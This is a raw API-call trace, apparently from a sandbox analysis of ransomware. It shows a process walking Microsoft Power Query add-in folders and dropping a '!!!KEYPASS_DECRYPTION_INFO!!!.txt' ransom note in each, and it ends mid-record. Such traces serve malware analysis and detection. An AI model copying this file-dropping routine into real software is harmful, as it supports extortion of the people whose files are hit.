1 [0249.643] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.643] FindNextFileW (in: hFindFile=0x38ff9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.643] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.643] FindNextFileW (in: hFindFile=0x38ff9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.643] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.643] FindNextFileW (in: hFindFile=0x38ff9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.643] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tk\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.643] FindNextFileW (in: hFindFile=0x38ff9b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.647] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.647] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.647] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.647] GetLastError () returned 0x3f0 [0249.648] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.648] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\tr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x784 [0249.685] GetFileType (hFile=0x784) returned 0x1 [0249.685] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.686] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.686] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.686] WriteFile (in: hFile=0x784, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.687] WriteFile (in: hFile=0x784, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.687] CloseHandle (hObject=0x784) returned 1 [0249.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ff9f0 [0249.687] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.687] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.687] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.687] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.687] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0249.687] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.687] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.687] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.687] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.687] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.688] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.688] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.688] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.688] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.688] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.688] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.688] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0249.688] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.688] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0249.688] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.688] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0249.688] FindNextFileW (in: hFindFile=0x38ff9f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.688] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.688] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.688] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.688] GetLastError () returned 0x3f0 [0249.688] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.688] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\tt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788 [0249.693] GetFileType (hFile=0x788) returned 0x1 [0249.693] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.693] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.694] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.694] WriteFile (in: hFile=0x788, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.694] WriteFile (in: hFile=0x788, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.695] CloseHandle (hObject=0x788) returned 1 [0249.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffa30 [0249.695] FindNextFileW (in: hFindFile=0x38ffa30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.695] FindNextFileW (in: hFindFile=0x38ffa30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.695] FindNextFileW (in: hFindFile=0x38ffa30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.695] FindNextFileW (in: hFindFile=0x38ffa30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.695] FindNextFileW (in: hFindFile=0x38ffa30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.695] FindNextFileW (in: hFindFile=0x38ffa30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.695] FindNextFileW (in: hFindFile=0x38ffa30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.695] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tt\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.696] FindNextFileW (in: hFindFile=0x38ffa30, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.696] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.696] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.696] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.696] GetLastError () returned 0x3f0 [0249.696] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.696] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ug\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0249.737] GetFileType (hFile=0x780) returned 0x1 [0249.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.737] WriteFile (in: hFile=0x780, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.738] WriteFile (in: hFile=0x780, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.738] CloseHandle (hObject=0x780) returned 1 [0249.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffcf0 [0249.738] FindNextFileW (in: hFindFile=0x38ffcf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.738] FindNextFileW (in: hFindFile=0x38ffcf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.739] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.739] FindNextFileW (in: hFindFile=0x38ffcf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.739] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.739] FindNextFileW (in: hFindFile=0x38ffcf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.739] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.739] FindNextFileW (in: hFindFile=0x38ffcf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.739] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.739] FindNextFileW (in: hFindFile=0x38ffcf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.739] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.739] FindNextFileW (in: hFindFile=0x38ffcf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.739] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ug\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.739] FindNextFileW (in: hFindFile=0x38ffcf0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.739] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.739] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.739] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.739] GetLastError () returned 0x3f0 [0249.739] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.739] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\uk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x790 [0249.776] GetFileType (hFile=0x790) returned 0x1 [0249.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.776] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0249.777] WriteFile (in: hFile=0x790, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0249.777] WriteFile (in: hFile=0x790, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0249.777] CloseHandle (hObject=0x790) returned 1 [0249.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x38ffe70 [0249.778] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.778] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0249.778] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0249.778] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0249.778] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0249.778] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0249.778] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0249.778] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.778] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0249.778] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.779] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0249.779] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.779] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0249.779] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0249.779] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0249.779] FindNextFileW (in: hFindFile=0x38ffe70, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0249.779] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0249.779] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0249.779] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38fe810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0249.779] GetLastError () returned 0x3f0 [0249.779] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0249.779] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0249.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ur\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ur\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x794 [0249.784] GetFileType (hFile=0x794) returned 0x1 [0249.784] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0249.784] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0249.784] 